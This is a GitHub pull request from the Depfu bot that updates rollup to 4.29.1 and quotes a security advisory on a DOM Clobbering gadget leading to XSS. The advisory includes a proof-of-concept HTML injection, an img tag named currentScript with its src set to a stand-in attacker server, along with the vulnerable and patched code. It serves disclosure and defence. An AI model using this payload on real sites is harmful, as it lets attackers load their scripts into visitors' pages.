Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

🚨 [security] Update rollup 4.21.0 → 4.29.1 (minor) #418

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

🚨 [security] Update rollup 4.21.0 → 4.29.1 (minor) #418

wants to merge 1 commit into from

Conversation

depfu[bot]
Copy link
Contributor

@depfu depfu bot commented Dec 23, 2024

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ rollup (4.21.0 → 4.29.1) · Repo · Changelog

Security Advisories 🚨

🚨 DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

    <tbody>

    <tr class="border-0">
      <td id="L158" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="158"></td>
      <td id="LC158" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> 	<span class="pl-en">getResolveUrl</span><span class="pl-kos">(</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L159" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="159"></td>
      <td id="LC159" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> 		<span class="pl-s">`'<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-en">escapeId</span><span class="pl-kos">(</span><span class="pl-s1">relativePath</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>', <span class="pl-s1"><span class="pl-kos">${</span></span></span> </td>
    </tr>

    <tr class="border-0">
      <td id="L160" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="160"></td>
      <td id="LC160" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-s1">			<span class="pl-s1">umd</span> ? <span class="pl-s">`typeof document === 'undefined' ? location.href : `</span> : <span class="pl-s">''</span></span></span> </td>
    </tr>

    <tr class="border-0">
      <td id="L161" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="161"></td>
      <td id="LC161" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-s1">		<span class="pl-kos">}</span></span>document.currentScript &amp;&amp; document.currentScript.src || document.baseURI`</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L162" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="162"></td>
      <td id="LC162" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> 	<span class="pl-kos">)</span><span class="pl-kos">;</span> </td>
    </tr>
</tbody>
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => 

    <tbody>

    <tr class="border-0">
      <td id="L181" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="181"></td>
      <td id="LC181" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> 	<span class="pl-s">`<span class="pl-s1"><span class="pl-kos">${</span></span></span> </td>
    </tr>

    <tr class="border-0">
      <td id="L182" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="182"></td>
      <td id="LC182" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-s1">		<span class="pl-s1">umd</span> ? <span class="pl-s">`typeof document === 'undefined' ? location.href : `</span> : <span class="pl-s">''</span></span></span> </td>
    </tr>

    <tr class="border-0">
      <td id="L183" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="183"></td>
      <td id="LC183" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-s1">	<span class="pl-kos">}</span></span>(<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-smi">DOCUMENT_CURRENT_SCRIPT</span><span class="pl-kos">}</span></span> &amp;&amp; <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-smi">DOCUMENT_CURRENT_SCRIPT</span><span class="pl-kos">}</span></span>.src || new URL('<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-en">escapeId</span><span class="pl-kos">(</span></span></span> </td>
    </tr>

    <tr class="border-0">
      <td id="L184" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="184"></td>
      <td id="LC184" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-s1">		<span class="pl-s1">chunkId</span></span></span> </td>
    </tr>

    <tr class="border-0">
      <td id="L185" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="185"></td>
      <td id="LC185" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-s1">	<span class="pl-kos">)</span><span class="pl-kos">}</span></span>', document.baseURI).href)`</span><span class="pl-kos">;</span> </td>
    </tr>
</tbody>
const getUrlFromDocument = (chunkId: string, umd = false) =>

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;

var s = document.createElement('script');

s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';

document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;
Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-android-arm-eabi (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-android-arm64 (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-darwin-arm64 (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-darwin-x64 (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm-gnueabihf (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm-musleabihf (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm64-gnu (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm64-musl (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-powerpc64le-gnu (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-riscv64-gnu (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-s390x-gnu (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-x64-gnu (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-x64-musl (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-arm64-msvc (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-ia32-msvc (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-x64-msvc (indirect, 4.21.0 → 4.29.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​types/estree (indirect, 1.0.5 → 1.0.6) · Repo

Sorry, we couldn't find anything useful about this release.

🆕 @​rollup/rollup-freebsd-arm64 (added, 4.29.1)

🆕 @​rollup/rollup-freebsd-x64 (added, 4.29.1)

🆕 @​rollup/rollup-linux-loongarch64-gnu (added, 4.29.1)

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Dec 23, 2024
@depfu depfu bot mentioned this pull request Dec 23, 2024
Closed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
depfu
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants